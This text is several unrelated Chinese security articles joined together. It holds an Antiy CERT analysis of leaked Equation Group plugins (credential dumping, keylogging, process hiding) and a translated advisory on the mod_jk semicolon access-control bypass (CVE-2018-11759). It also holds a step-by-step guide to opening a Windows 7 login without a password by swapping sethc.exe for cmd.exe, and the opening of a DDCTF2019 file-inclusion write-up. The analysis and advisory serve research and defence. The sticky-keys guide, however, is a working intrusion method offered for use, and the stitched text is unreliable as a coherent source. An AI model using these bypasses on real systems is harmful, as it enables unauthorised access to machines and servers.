<td><p>该模块用于获取管理员权限，并执行操作。
</p></td>
</tr>
<tr>
<td></td>
<td><p>kill_Implant.dll
</p></td>
<td><p>该模块功能是结束进程，传入参数中有要结束进程的ID，该功能的实现使用了常规的系统函数，如：OpenProcess、TerminateProcess。
</p></td>
</tr>
<tr>
<td></td>
<td><p>kill_Implant9x.dll
</p></td>
<td><p>该模块功能与kill_Implant.dll相同，是针对64位系统的版本。
</p></td>
</tr>
<tr>
<td><p>LSADUMP_Lp.dll
</p></td>
<td><p>LSADUMP_Implant.dll
</p></td>
<td><p>该模块可用来读取LSA 凭据，根据传入参数的不同执行不同的操作。
</p></td>
</tr>
<tr>
<td><p>modifyAudit_Lp.dll
</p></td>
<td><p>modifyAudit_Implant.dll
</p></td>
<td><p>该模块用于修改审核配置。
</p></td>
</tr>
<tr>
<td><p>modifyAuthentication_Lp.dll
</p></td>
<td><p>modifyAuthentication_Implant.dll
</p></td>
<td><p>该模块用于修改权限认证。
</p></td>
</tr>
<tr>
<td><p>ModifyGroup_Lp.dll
</p></td>
<td><p>ModifyGroup_Implant.dll
</p></td>
<td><p>该模块用于修改用户组权限。
</p></td>
</tr>
<tr>
<td><p>ModifyPrivilege_Lp.dll
</p></td>
<td><p>ModifyPrivilege_Implant.dll
</p></td>
<td><p>该模块用于修改用户权限。
</p></td>
</tr>
<tr>
<td></td>
<td><p>msgkd.ex_
</p></td>
<td><p>释放GROK键盘/剪贴板记录器驱动。
</p></td>
</tr>
<tr>
<td></td>
<td><p>msgki.ex_
</p></td>
</tr>
<tr>
<td></td>
<td><p>msgks.ex_
</p></td>
</tr>
<tr>
<td></td>
<td><p>msgku.ex_
</p></td>
</tr>
<tr>
<td></td>
<td><p>mstcp32.sys
</p></td>
<td><p>该模块用于网络嗅探 监测以太网和VPN的流量 。
</p></td>
</tr>
<tr>
<td><p>nethide_Lp.dll
</p></td>
<td><p>nethide_Implant.dll
</p></td>
<td><p>该模块用于隐藏网络连接。
</p></td>
</tr>
<tr>
<td></td>
<td><p>ntevt.sys
</p></td>
<td><p>该模块是事件日志相关驱动。
</p></td>
</tr>
<tr>
<td></td>
<td><p>ntevtx64.sys
</p></td>
<td><p>该模块功能与ntevt.sys相同，是针对64位系统的版本。
</p></td>
</tr>
<tr>
<td><p>PortMap_Lp.dll
</p></td>
<td><p>PortMap_Implant.dll
</p></td>
<td><p>该模块进行端口映射。
</p></td>
</tr>
<tr>
<td><p>ProcessHide_Lp.dll
</p></td>
<td><p>ProcessHide_Implant.dll
</p></td>
<td><p>该模块可以进行隐藏进程，恢复隐藏的进程，根据传入参数的不同执行不同的操作。
</p></td>
</tr>
<tr>
<td></td>
<td><p>processinfo_Implant.dll
</p></td>
<td><p>该模块可以用来获取进程信息。
</p></td>
</tr>
<tr>
<td></td>
<td><p>processinfo_Implant9x.dll
</p></td>
<td><p>该模块功能与processinfo_Implant.dll相同，是针对64位系统的版本。
</p></td>
</tr>
<tr>
<td><p>ProcessOptions_Lp.dll
</p></td>
<td><p>ProcessOptions_Implant.dll
</p></td>
<td><p>该模块用于设定进程执行属性。
</p></td>
</tr>
<tr>
<td><p>pwdump_Lp.dll
</p></td>
<td><p>pwdump_Implant.dll
</p></td>
<td><p>该模块可用来读取系统中密码，根据传入参数的不同执行不同的操作。
</p></td>
</tr>
<tr>
<td><p>RunAsChild_Lp.dll
</p></td>
<td><p>RunAsChild_Implant.dll
</p></td>
<td><p>该模块用于创建子进程，并执行操作。
</p></td>
</tr>
<tr>
<td><p>
</p></td>
<td><p>tdi6.sys
</p></td>
<td><p>该模块用于网络嗅探 监测以太网和VPN的流量 。
</p></td>
</tr>
<tr>
<td><p>PassFreely_LP.dll
</p></td>
<td><p>PassFreely_Implant.dll
</p></td>
<td><p>正在分析中
</p></td>
</tr>
<tr>
<td><p>...
</p></td>
<td><p>
</p></td>
</tr>
</table>
表 4 - 2 仅泄露文件名的部分插件功能猜测
|
**测试版本** ****
</b></p></td>
<td width=301><p><b>发布版本</b><b>
</b></p></td>
<td><p><b>猜测功能</b><b>
</b></p></td>
</tr>
<tr>
<td><p>Users_Lp.dll
</p></td>
<td width=301><p>Users_Implant.dll
</p></td>
<td><p>查看当前用户列表
</p></td>
</tr>
<tr>
<td><p>GroupUsers_Lp.dll
</p></td>
<td width=301><p>GroupUsers_Implant.dll
</p></td>
<td><p>修改指定用户所在组
</p></td>
</tr>
<tr>
<td></td>
<td width=301><p>nc.exe
</p></td>
<td><p>nc网络工具
</p></td>
</tr>
<tr>
<td><p>ProcessCheck_Lp.dll
</p></td>
<td width=301><p>ProcessCheck_Implant.dll
</p></td>
<td><p>检测指定进程
</p></td>
</tr>
<tr>
<td><p>machineinfo_LP.dll
</p></td>
<td width=301><p>machineinfo_Implant.dll
</p></td>
<td><p>获取主机相关信息
</p></td>
</tr>
<tr>
<td><p>IpConfig_LP.dll
</p></td>
<td width=301><p>IpConfig_Implant.dll
</p></td>
<td><p>IP信息获取
</p></td>
</tr>
<tr>
<td><p>FileAttribs_LP.dll
</p></td>
<td width=301><p>FileAttribs_Implant.dll
</p></td>
<td><p>文件属性获取
</p></td>
</tr>
<tr>
<td><p>NetstatMon_LP.dll
</p></td>
<td width=301><p>NetstatMon_Implant.dll
</p></td>
<td><p>网络状态获取
</p></td>
</tr>
<tr>
<td><p>Dns_LP.dll
</p></td>
<td width=301><p>Dns_Implant.dll
</p></td>
<td><p>DNS设置获取
</p></td>
</tr>
<tr>
<td><p>language_LP.dll
</p></td>
<td width=301><p>language_Implant.dll
</p></td>
<td><p>语言信息获取
</p></td>
</tr>
<tr>
<td><p>Environment_LP.dll
</p></td>
<td width=301><p>Environment_Implant.dll
</p></td>
<td><p>环境变量信息获取
</p></td>
</tr>
<tr>
<td><p>CheckMouse_LP.dll
</p></td>
<td width=301><p>CheckMouse_Implant.dll
</p></td>
<td><p>鼠标相关检测
</p></td>
</tr>
<tr>
<td><p>CheckKeyboard_LP.dll
</p></td>
<td width=301><p>CheckKeyboard_Implant.dll
</p></td>
<td><p>键盘相关检测
</p></td>
</tr>
<tr>
<td><p>NetBios_LP.dll
</p></td>
<td width=301><p>NetBios_Implant.dll
</p></td>
<td><p>网络共享查看
</p></td>
</tr>
<tr>
<td><p>NetGetDCName_LP.dll
</p></td>
<td width=301><p>NetGetDCName_Implant.dll
</p></td>
<td><p>网络主机名获取
</p></td>
</tr>
<tr>
<td><p>Scheduler_LP.dll
</p></td>
<td width=301><p>Scheduler_Implant.dll
</p></td>
<td><p>计划任务设置
</p></td>
</tr>
<tr>
<td><p>AdUser_LP.dll
</p></td>
<td width=301><p>AdUser_Implant.dll
</p></td>
<td><p>添加账户
</p></td>
</tr>
<tr>
<td><p>ArpScan_LP.dll
</p></td>
<td width=301><p>ArpScan_Implant.dll
</p></td>
<td><p>ARP扫描
</p></td>
</tr>
<tr>
<td><p>PacketRedirect_LP.dll
</p></td>
<td width=301><p>PacketRedirect_Implant.dll
</p></td>
<td><p>数据包重定向
</p></td>
</tr>
<tr>
<td><p>PacketScan_LP.dll
</p></td>
<td width=301><p>PacketScan_Implant.dll
</p></td>
<td><p>数据包扫描
</p></td>
</tr>
<tr>
<td><p>RegKeys_LP.dll
</p></td>
<td width=301><p>RegKeys_Implant.dll
</p></td>
<td><p>注册表操作
</p></td>
</tr>
<tr>
<td><p>RegQuery_LP.dll
</p></td>
<td width=301><p>RegQuery_Implant.dll
</p></td>
<td><p>注册表键值内容获取
</p></td>
</tr>
<tr>
<td><p>procMon _LP.dll
</p></td>
<td width=301><p>procMon_Implant.dll
</p></td>
<td><p>进程监控
</p></td>
</tr>
<tr>
<td><p>RemoteExecute_LP.dll
</p></td>
<td width=301><p>RemoteExecute_Implant.dll
</p></td>
<td><p>远程执行文件
</p></td>
</tr>
---
安天CERT根据分析出的部分实体文件功能和文件列表进行梳理，再加上之前卡巴斯基[7]和安天[1]对方程式插件的分析，整理了这些功能插件在攻击过程中可能形成的组合，并绘制了"方程式组织主机作业模块积木图"。从图中可以看出攻击者通过对这些插件进行组合来完成相应的功能，这些插件体现了如下架构风格
--不编写功能高度复杂的单一木马，而是 **把功能拆解成高度独立的小模块，这种拆解的粒度，几乎到了"原子化"的程度**
，即使简单如获取系统信息的操作，也把类似获取环境变量、语言集、网络状态等都作为一个独立的小模块，
**这将保证系统作业可以完全按需展开，从而最大化的保证作业的谨慎和静默。**
从对主机安全环境的逃逸和对抗来看，这批插件的编译时间为2007年，从反病毒技术发展上来看，正是主机主动防御技术走入成熟的阶段。主动防御技术普遍采用行为加权的思路对未知文件进行判定，但这些完成这种"原子"操作的模块，是不会累加到阈值的。这种单独功能片段不仅在当时的情况下很难被发现，即使从现代的动静态检测角度上来看也很难被发现。每个单独功能片段不具任何明显的恶意功能，只有总调度平台将各功能插件协调使用才会组合出各种作业能力。这种作业方式，也会导致安全厂商很难获取到完整的模块，而在没有有效Loader的情况下，这些模块很难在沙箱中被加载起来，从而也很难有效地进行行为分析，其比那些探测虚拟环境从而拒绝执行的木马更难以分析。
从文件名上来看，这些模块的功能规划得非常清晰。当然在实际作业中，这些DLL可能会以其他的一些形态表现出来，其中包括可能使用窃取的数字证书进行签名。在这种情况下，部分驱动文件的Version信息预计也会被定制为对应的数字证书信息，其使用的文件名，可能与其伪装的系统或应用的风格一致，或者使用类似震网[12]、毒曲[13]和火焰[14]中使用的伪装成预编译或者临时文件的技巧。
**A 2PT** **事件** ****
|
**使用过的签名信息** ****
|
**命名规律** ****
---|---|---
Stuxnet
|
JMicron Technology Corp
|
仿冒系统文件如：MRxCls.sys，S7HKIMDX.DLL，comspol32.ocx；按照Windows命名规律伪装成oem、和mdm开头的pnf预编译文件；伪装成临时文件。
Realtek Semiconductor Corp
Flame
|
亚洲诚信数字签名测试证书
|
仿冒系统文件名，如：MSSECMGR.OCX，icsvntu32.ocx，FRAGWIZ.OCX
Duqu
|
HON HAI PRECISION INDUSTRY CO. LTD
|
仿冒系统文件名，如：adpu321.sys，igdkmd16b.sys，iaStor451.sys
C-Media Electronics Incorporation
Equation
|
尚未发现
|
仿冒系统文件名，如：mstcp32.sys，DXGHLP16.SYS，tdi6.sys；伪装成Dat文件。
表 4 - 3 系列 A2PT 行动中样本使用的数字签名和场景中的文件命名风格
当然，这些模块也可能是以采用文件不落地的方式进行投放的，其直接运行在内存中，而没有相应的文件实体。
图 4 - 3 方程式组织主机作业模块积木图
"DanderSpritz"一词在"棱镜"事件中曾被曝光，在ANT中的"FIREWALK"[16]工具中也提及到了DNT的"DanderSpritz"，DNT与ANT同属于NSA的网络组织。类似这种攻击装备可被用于多种作业场景，通过"FIREWALK"[16]工具的网络流量采集和注入使得受害主机与攻击者的远程控制中心建立联系，使得
**远控变成了抵近战术作业，如，通过物流链劫持或者在内部节点上插入或替换设备，只要启动远控工具，就可以达成就近控制和人工作业相结合的攻击方式** 。
图 4 - 4 斯诺登曝光的NSA-ANT网络武器FIREWALK（安天公益翻译小组译）
NSA-ANT网络武器最早在2013年斯诺登事件中曝光，共包含48个攻击武器，随着事件的发酵，不断有媒体和组织对其进行曝光，安天安全分析工程师根据目前曝光的全部资料和技术分析尝试初步绘制了相关攻击装备的图谱。
图 4 - 5 NSA-TAO攻击装备体系（完善中）
## 5 部分组件与插件分析（继续完善中）
通过一段时间的跟进分析安天CERT发现此次曝光的插件具有模块化和反检测特点，安天CERT根据现有分析情况总结了这批攻击插件的三个特点：
1\. 各个插件在DllMain函数中均不直接实现恶意行为。基于沙箱的威胁检测系统在检测DLL形态PE文件时，通常会调用Windows API
LoadLibrary()
来实现动态加载待检测对象，执行待检测对象的DllMain函数功能，触发待检测对象动态行为。但对于这些方程式插件，由于DllMain函数并不表现恶意行为（如
图 5-1 所示），很容易被沙箱视作非恶意程序。
图 5 - 1 DllMain函数并没有恶意功能
2\.
各插件的导出函数中均不直接实现恶意功能。这些方程式插件均只提供4个按序号（而不是按名称）导出的函数。在其函数功能中，第1个导出函数负责接收调用者以特定数据结构传递的回调函数指针或参数（如
图 5-2
所示）；第2个导出函数负责在必要释放已申请资源；第3个导出函数根据调用参数返回其核心功能函数指针；第4个导出函数负责填写调用者提供的数据结构、向调用者传递插件版本信息。除了第4个导出函数未对参数进行严格判断而可能因访问空指针产生异常外，各插件的导出函数均不直接实现恶意功能，基于沙箱的威胁检测系统无法通过调用各导出函数触发其恶意行为，从而将其视作非恶意程序。
图 5 - 2 i1函数中的回调函数指针或参数
3\.
各个插件均只实现最基本能力。这些方程式插件均只实现最基本的功能，即使分析人员掌握了插件的调用方法，传递正确的调用参数，也只能执行最基本的程序功能，并在回调函数得到程序功能的中间结果（如进程名称、模块名称、用户密码），如果不是非常有经验的分析人员，是很难将这些程序功能与正常程序的功能实现区分开。方程式攻击组织这样设计插件，除了考虑到框架的可扩展性和功能剪裁的方便性等因素之外，很可能是以此绕过某些反病毒引擎的静态检测机制。
### 5.1 Processinfo插件遍历进程模块
由于这批插件的复杂性，安天CERT挑选了其中相对较小的文件以便于分析。通过分析发现，用于实现对指定进程的模块遍历，并调用上层模块预设的回调函数。
#### 5.1.1 样本标签
**病毒名**
|
Trojan/Win32.EquationDrug
---|---
**原始文件名**
|
processinfo_Implant9x.dll
**MD5**
|
6042EA9707316784FBC77A8B450E0991
**处理器架构**
|
X86-32
**文件大小**
|
8 KB (8,192 字节)
**文件格式**
|
BinExecute/Microsoft.DLL[:X86]
**时间戳**
|
45A40EC7->2007-01-10 05:53:11
表 5 - 1 样本标签
#### 5.1.2 主要功能
本插件提供四个基于序号导出的函数。
表 5 - 2 主要功能
**序号**
</b></p></td>
<td width=384><p><b>功能
</b></p></td>
</tr>
<tr>
<td width=75><p>1
</p></td>
<td width=384><p>设置上层模块回调函数，创建互斥体
</p></td>
</tr>
<tr>
<td width=75><p>2
</p></td>
<td width=384><p>释放资源
</p></td>
</tr>
<tr>
<td width=75><p>3
</p></td>
<td width=384><p>返回核心功能函数地址
</p></td>
</tr>
<tr>
<td width=75><p>4
</p></td>
<td width=384><p>获取插件版本信息
</p></td>
</tr>
</table>
图 5 - 3 1号导出函数 设置上层模块回调函数
图 5 - 4 3号导出函数 返回核心功能函数地址
图 5 - 5 4号导出函数 获取插件版本信息
图 5 - 6 遍历指定进程，默认为当前进程
图 5 - 7 遍历指定进程模块，计算模块对应文件HASH（SHA1）
### 5.2 kill_Implant插件杀进程模块
该模块是另一个相对较小的文件，安天CERT通过分析发现，该插件主要功能为根据传入的进程ID来结束对应进程。
#### 5.2.1 样本标签
表 5 - 3 样本标签
#### 5.2.2 主要功能
模块调用者传递进来进程ID，该模块利用函数OpenProcess获取句柄，再利用函数TerminateProcess结束对应进程。
图 5 - 8 结束进程
### 5.3 GROK键盘与剪贴版记录器驱动
本次泄露的文件除DLL插件外还有一些EXE格式，安天CERT发现其中几个EXE文件与之前方程式平台中的GROK组件相同，本次曝光的版本为1.2.0.1，均可以从资源段中解密并释放键盘与剪贴版记录器驱动msrtdv.sys。
#### 5.3.1 样本标签
表 5 - 4 样本标签 |
**病毒名**
</p></td>
<td width="59%"><p>Trojan/Win32.EquationDrug
</p></td>
</tr>
<tr>
<td width="41%"><p><b>原始文件名</b>
</p></td>
<td width="59%"><p>msrtdv.sys
</p></td>
</tr>
<tr>
<td width="41%"><p><b>MD5</b>
</p></td>
<td width="59%"><p>6A4461AF87371B89D240A34846A7BC64
</p></td>
</tr>
<tr>
<td width="41%"><p><b>处理器架构</b>
</p></td>
<td width="59%"><p>X86-32
</p></td>
</tr>
<tr>
<td width="41%"><p><b>文件大小</b>
</p></td>
<td width="59%"><p>36.3
KB (37,248 字节)
</p></td>
</tr>
<tr>
<td width="41%"><p><b>文件格式</b>
</p></td>
<td width="59%"><p>BinExecute/Microsoft.SYS[:X86]
</p></td>
</tr>
<tr>
<td width="41%"><p><b>时间戳</b>
</p></td>
<td width="59%"><p>0x4B7F1480->2010-02-20
06:45:20
</p></td>
</tr>
---
该恶意代码样本是键盘记录器及剪贴版监视工具，在之前友商报告中曾经提到过有相似功能的恶意代码，下面对其相似之处进行对比。
#### 5.3.2 版本信息
样本包含版本信息，文件版本为5.1.1364.6430，源文件名为msrtdv.sys，文件描述为MSRTdv interface
driver。其中文件版本低于之前已经曝光的版本5.3.1365.2180，源文件名与文件描述的不同在于将两个字母"d"和"v"的位置互换，一个是"mstrdv.sys"，另一个是"msrtvd.sys"。
图 5 - 9 本次泄露版本与之前曝光版本的版本信息
5.3.3 主要功能
两个不同版本的样本其主要功能相同，通过给转储程序建立专用的进程来汇集所收集的数据，每隔30分钟，将结果压缩到文件"%TEMP%tm154o.da"。之前曝光的版本中，包含多个IoControlCode，分别对应不同的功能。
图 5 - 10 之前曝光版本的主要功能代码
而本次泄露的样本中，IoControlCode虽然只有0x22002C，但一些主要功能仍然存在，可以通过反编译后的代码看出它们的相同之处。
图 5 - 11 之前曝光版本的主要功能代码
图 5 - 12 本次泄露版本的主要功能代码
从以上分析比较中可以发现，本次泄露的恶意代码样本应为较低版本，版本信息低于之前卡巴斯基与安天分析曝光的版本，功能也弱于相关版本。在影子经纪人泄露出的文件DanderSpritz_All_Find.txt中，GROK的版本号也清楚的说明了这个问题，影子经纪人所释放出的只是GROK组件的低版本部分文件。
**但这批文件信息的丰富程度，则是将"千年暗室"打开了一个难得的缝隙。**
图 5 - 13 GROK组件的不同版本号
## 6 小结
此次"影子经纪人"释放的Equation
Group中的61个文件，对于全球网络安全研究者分析厘清EQUATION相关攻击平台的组成和架构有很大帮助。特别是能够观察其恶意代码的Debug版本，这在常规超级攻击组织的对抗中是很难想象的，这是一次难得从"内部"观察发动方程式组织的机会。经过初步打通和分析相关曝光信息，安天CERT看到、分析和梳理了该攻击平台的更多信息，包括如数百个攻击插件以及"DanderSpritz"攻击平台。
安天CERT分析相关文件后，判断其中部分组件与之前曝光的GROK组件为同类样本，而这些组件均为早期的低版本。另外，安天CERT的分析结果也表明"DanderSpritz"与Equation
Drug使用了相同的组件和架构设计，"DanderSpritz"可能就是方程式组织使用的Equation
Drug攻击平台，而其模块"原子化"的设计思路，让更多人可以看到该方程式组织支撑体系的庞大精密，作业过程的严密谨慎，以及其在武器研发使用中，绕过安全防御手段异常丰富的经验。
五年前，在安天展开针对Flame（火焰）蠕虫的马拉松分析中，有专家曾提醒我们不要"只见树叶，不见森林"，这让安天的安全工程师们深刻地反思了传统分析工程师"视野从入口点开始"的局限性，从那时开始尝试建立从微观见宏观的分析视野。安天CERT的安全工程师们通过本次分析，发现自己依然在迷宫中挣扎
--或许这就是面对超级攻击者时，安全分析团队面临的分析常态。
过去的四年，针对方程式组织的持续跟踪分析，是安天了解最高级别攻击者（即A2PT--高级的APT）的极为难得的经历。深入研究这种具有超级成本支撑和先进理念引领的超级攻击者，对于改善和增强安天探海、智甲、追影等高级威胁检测和防御产品的防御能力也非常关键。安天也在深入思考和探索面对行业和地域的大规模态势感知系统，即达成"以资产防护为核心"的有效能力，尤其是面对海量事件锁定关键威胁和高级攻击者的能力。但对于应对A2PT攻击者来说，无论是有效改善防御，还是进行更为全面深入系统的分析，都不是一家安全企业能够独立承载的，此中还需要更多协同和接力式分析，而不是重复"发明轮子"。正是基于这种共同认知，在不久之前的第四届安天网络安全冬训营上，安天和360企业安全等安全企业向部分与会专家介绍了能力型安全厂商分析成果互认的部分尝试。唯有中国的机构用户和能力型安全厂商形成一个积极互动的体系，才能更好的防御来自各方面的威胁。
我们警惕，但并不恐惧。对于一场防御战而言，除了扎实的架构、防御和分析工作之外，必胜的信念是一个最大的前提。
无形者未必无影，安天追影，画影图形。
## 附录一：参考资料
* [1] 安天：修改硬盘固件的木马 探索方程式（EQUATION）组织的攻击组件 <http://www.antiy.com/response/EQUATION_ANTIY_REPORT.html>
* [2] 安天：方程式（EQUATION）部分组件中的加密技巧分析 <http://www.antiy.com/response/Equation_part_of_the_component_analysis_of_cryptographic_techniques.html>
* [3] 安天：从“方程式”到“方程组”EQUATION攻击组织高级恶意代码的全平台能力解析 <http://www.antiy.com/response/EQUATIONS/EQUATIONS.html>
* [4] THESHADOWBROKERS CLOSED, GOING DARK <https://onlyzero.net/theshadowbrokers.bit/post/messagefinale/>
* [5] Stolen NSA "Windows Hacking Tools" Now Up For Sale! <http://thehackernews.com/2017/01/nsa-windows-hacking-tools.html>
* [6] Kaspersky：Equation: The Death Star of Malware Galaxy <http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/>
* [7] Kaspersky：Inside the EquationDrug Espionage Platform https://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/
* [8] Equation Group Cyber Weapons Auction - Invitation <https://github.com/theshadowbrokers/EQGRP-AUCTION>
* [9] The Equation giveaway <https://securelist.com/blog/incidents/75812/the-equation-giveaway/>
* [10] I just published “TheShadowBrokers Message #3” <https://medium.com/@shadowbrokerss/theshadowbrokers-message-3-af1b181b481>
* [11] Shadow Brokers reveals list of Servers Hacked by the NSA <http://thehackernews.com/2016/10/nsa-shadow-brokers-hacking.html>
* [12] ANTProductData2013 https://search.edwardsnowden.com/docs/ANTProductData2013-12-30nsadocs
* [13] Kaspersky：A Fanny Equation: "I am your father, Stuxnet" <http://securelist.com/blog/research/68787/a-fanny-equation-i-am-your-father-stuxnet/>
* [14] Kaspersky：Equation Group: from Houston with love <http://securelist.com/blog/research/68877/equation-group-from-houston-with-love/>
* [15] Kaspersky：Equation_group_questions_and_answers <https://securelist.com/files/2015/02/Equation_group_questions_and_answers.pdf>
* [16] Kaspersky：The Equation giveaway https://securelist.com/blog/incidents/75812/the-equation-giveaway/
## 附录二：关于安天
安天从反病毒引擎研发团队起步，目前已发展成为以安天实验室为总部，以企业安全公司、移动安全公司为两翼的集团化安全企业。安天始终坚持以安全保障用户价值为企业信仰，崇尚自主研发创新，在安全检测引擎、移动安全、网络协议分析还原、动态分析、终端防护、虚拟化安全等方面形成了全能力链布局。安天的监控预警能力覆盖全国、产品与服务辐射多个国家。安天将大数据分析、安全可视化等方面的技术与产品体系有效结合，以海量样本自动化分析平台延展工程师团队作业能力、缩短产品响应周期。结合多年积累的海量安全威胁知识库，综合应用大数据分析、安全可视化等方面经验，推出了应对高级持续性威胁（APT）和面向大规模网络与关键基础设施的态势感知与监控预警解决方案。
全球超过三十家以上的著名安全厂商、IT厂商选择安天作为检测能力合作伙伴，安天的反病毒引擎得以为全球近十万台网络设备和网络安全设备、超过五亿部手机提供安全防护。安天移动检测引擎是全球首个获得AV-TEST年度奖项的中国产品。安天技术实力得到行业管理机构、客户和伙伴的认可，安天已连续四届蝉联国家级安全应急支撑单位资质，亦是中国国家信息安全漏洞库六家首批一级支撑单位之一。安天是中国应急响应体系中重要的企业节点，在红色代码、口令蠕虫、震网、破壳、沙虫、方程式等重大安全事件中，安天提供了先发预警、深度分析或系统的解决方案。
关于反病毒引擎更多信息请访问：
|
<http://www.antiy.com>（中文）
<http://www.antiy.net> （英文）
---|---
关于安天反APT相关产品更多信息请访问：
|
[http://www.antiy.cn](http://www.antiy.cn/) __
* * * | 社区文章 |
本文为《[CVE-2018-11759]Apache mod_jk access control
bypass](https://www.immunit.ch/blog/2018/11/01/cve-2018-11759-apache-mod_jk-access-bypass/)》的翻译文章。
嘿，各位大佬们：
我非常激动向你们介绍一个我同事（ID为Xel）和我在一次渗透测试中发现的新漏洞：CVE-2018-11795
一年前，我在Wordpress上面才拥有我的第一个CVE，但是现在我们又搞到了第二个！
### 漏洞概要
1. 由于httpd和Tomcat在路径处理规范上存在差异，因此可以绕过Apache mod_jk Connector 1.2.0版本到1.2.44版本上由JkMount httpd指令所定义端点的访问控制限制。
2. 值得注意的是，如果一个只有只读权限的jkstatus的接口可以访问的话，那么就有可能能够公开由mod_jk模块给AJP提供服务的内部路由。
3. 不仅如此，如果一个具有读写权限的jkstatus接口可供访问，我们就能通过修改AJP的配置文件中相关配置来劫持或者截断所有经过mod_jk的流量，又或者进行内部的端口扫描。
### 漏洞详情
#### 比对CVE-2018-1323的漏洞补丁
在我们一位客户的一次基于Apache mod_jk 模块的JBoss / Tomcat
网络服务器进行渗透测试时候，我们发现服务器上存在CVE-2018-1323漏洞（是由Biznet Bilisim A.S.公司的Alphan
YAVAS发现并提交的），这会影响到mod_jk模块，同时所影响版本的范围到1.2.42。
为理解其漏洞原理，我们分析了1.2.43版本的mod_jk 补丁。在这个过程中，我们意识到这个漏洞是一个路径穿越问题，是基于Apache
httpd、Tomcat或者其他Java服务器的，而且关于他们在处理当用分号进行跨目录路径遍历时各自路径解析的差异点。
Apache
httpd将url中的分号视作路径解析中的普通字符，然而Tomcat却将他们当作查询分隔符（和"?"类似）。因此，攻击者可以获取到例如这样的路径：`http://server/java_app/..;`，但是对于httpd来中，这并没有触发服务器，并跳转到对应的目录下，而仅仅是被原封原样地转发到了Tomcat上，而且地址尾部会被解析为
**..** 。*
_译者注：".. "是两个点加一个空格_
这就允许攻击者可以获取到本不应该在Tomcat上可以访问的资源。
<center>图1：比对CVE-2018-1323</center>
我们现在已经确定了这个漏洞其实并未完全挖掘出来，因为mod_jk的补丁虽然确实修复了针对mod_jk的特定路径遍历攻击，但是还是没有解决mod_jk对分号路径解析方式的核心问题。
#### 探测JK状态管理器
#### 探测jkstatus
jkstatus是mod_jk模块的管理界面。当设为读写权限的时候，它允许通过配置AJP连接Java Web服务器来代理HTTP请求。
通常，我们可以限制对jkstatus的访问，比如使用如下的httpd指令：
<Location /jkstatus>
JKMount jk-status
Require ip 127.0.0.1
</Location>
这条指令会阻拦任何外部资源对jkstatus的访问。
我们发现通过在`/jkstatus`后面注入分号，就可以绕过这样的限制。
<center>图3：jkstatus访问控制绕过（分号注入）</center>
上图可以看到，在url分号之后提交的get参数，就可以成功向jkstatus请求修改其访问权限的配置。
<center>图4：url中分号后面get参数部分能被解析</center>
如果给jkstatus设定成具有读写访问权限的配置，要绕过jkstatus访问控制的话，其产生的影响就等同于通过更改工作人员使用的端口来实现对所有由mod_jk供应的应用程序拒绝服务的效果。不仅如此，如果攻击者再将相应的AJP连接到任何一台他所掌控的服务器上，他也可能会劫持到所有由mod_jk供应服务的web应用的流量。
理论上讲，通过将AJP的目标和端口修改为内部主机和其对应的端口，我们也可以进行内部TCP端口扫描，这是因为Tomcat和httpd的jkstatus返回的错误信息不一致的缘故，具体情况取决于提交的AJP端口是否有效
**（错误网关与服务不可用的情况）** *。我们并不能对这种类型的SSRF攻击造成的全面影响进行预估和考量。
_译者注：错误网关：Bad gateway；服务不可用：Service Unavaliable_
<center>图5：AJP：可以提交任意主机名和端口</center>
jkstatus（如果是只读权限的配置）还会公开内部服务器主机名、ip、端口、mod_jk模块服务的服务器和路由、以及文件系统上http服务器的绝对路径。
这种对访问控制权限绕过的手法具有很大的破坏效果，但是必须要注意一点的就是，通过JkMount指令定义任何端点的访问控制都有可能被分号注入绕过。
### 漏洞索引
mod_jk（1.2.46版本）已经提供了相应补丁，其他的修复措施（注意，并一定能完全防御，只是起缓解作用）包括有：使用例如`/jkstatus*`这样的位置值设定。
### Github POC
github上我们的库里面有一个docker环境可以拿来测试复现这个漏洞。
### 漏洞挖掘时间线
* 2018/09/06：第一次和Apache Tomcat安全团队上报此漏洞
* 2018/09/06：第一次收到Apache Tomcat安全团队对此漏洞的回应
* 2018/10/13：[mod_jk 1.2.46版本补丁发行](https://tomcat.apache.org/download-connectors.cgi)
* 2018/10/31：发布CVE-2018-11759公告
* 2018/11/01：漏洞揭露公示完毕
### 漏洞挖掘人员
两位来自immunIT公司的Raphaël Arrouas （ID为Xel）和Jean Lejeune（ID为Nitrax） 同志。 | 社区文章 |
# 奇技淫巧：没有密码且不借助工具临机控制Win7
|
##### 译文声明
本文是翻译文章，文章来源：T00ls
原文地址：<https://www.t00ls.net/articles-31277.html>
译文仅供参考，具体内容表达以及含义原文为准。
测试系统:WIN7专业版
在国外的网站看到这种方法,不借助其他工具,达到激活管理员帐户或修改开机密码
利用在登陆介面按五次shift键的快捷方式来调用粘滞键,正常情况是出现下面这介面
操作:
开机时按F8让启动界面进入到这里(见下图)
然后选择 正常启动Windows选项 时,,,强制关机或者把电源关了
再开机时,启动界面会显示如下图
选择启动修复,然后会进入这个界面(这个提示框弹出要等一两分钟)
然后单击 取消 ,再要几分钟,才会弹出下面的对话框,单击 隐藏问题详细信息 前的黑色箭头,,,,再点红色划线的链接,
会弹出记事本,,然后 单击打开
在C:windowssystem32 找到sethc.exe 这个文件,
再把它重命名为任意名称(见下图)
并在这个目录找到cmd.exe这个文件,把它复制到同一个目录(即system32目录中)
再把复制出来的cmd.exe 重命名为sethc(见下图)
把所有对话框关闭,然后重启,,登陆要输入密码的界面时,,,,按5次shift,让系统调用出cmd.exe | 社区文章 |
# DDCTF2019
刚刚结束的ddctf2019，题目质量还是不错的，当然脑洞也不小，也有出题人不谨慎而导致非预期解，下面也会提及。共计23题，完成17题，Android一道没做，re、misc、web都差最后一题，待其他大神发writeup了。
## WEB
### 滴~
访问自动跳转到 <http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09>
，页面上显示flag.jpg
对`TmpZMlF6WXhOamN5UlRaQk56QTJOdz09`
分析可知为`base64_encode(base64_encode('flag.jpg'.encode('hex'))`
文件包含泄露源码：`http://117.51.150.246/index.php?jpg=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3`，`index.php`源码如下：
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
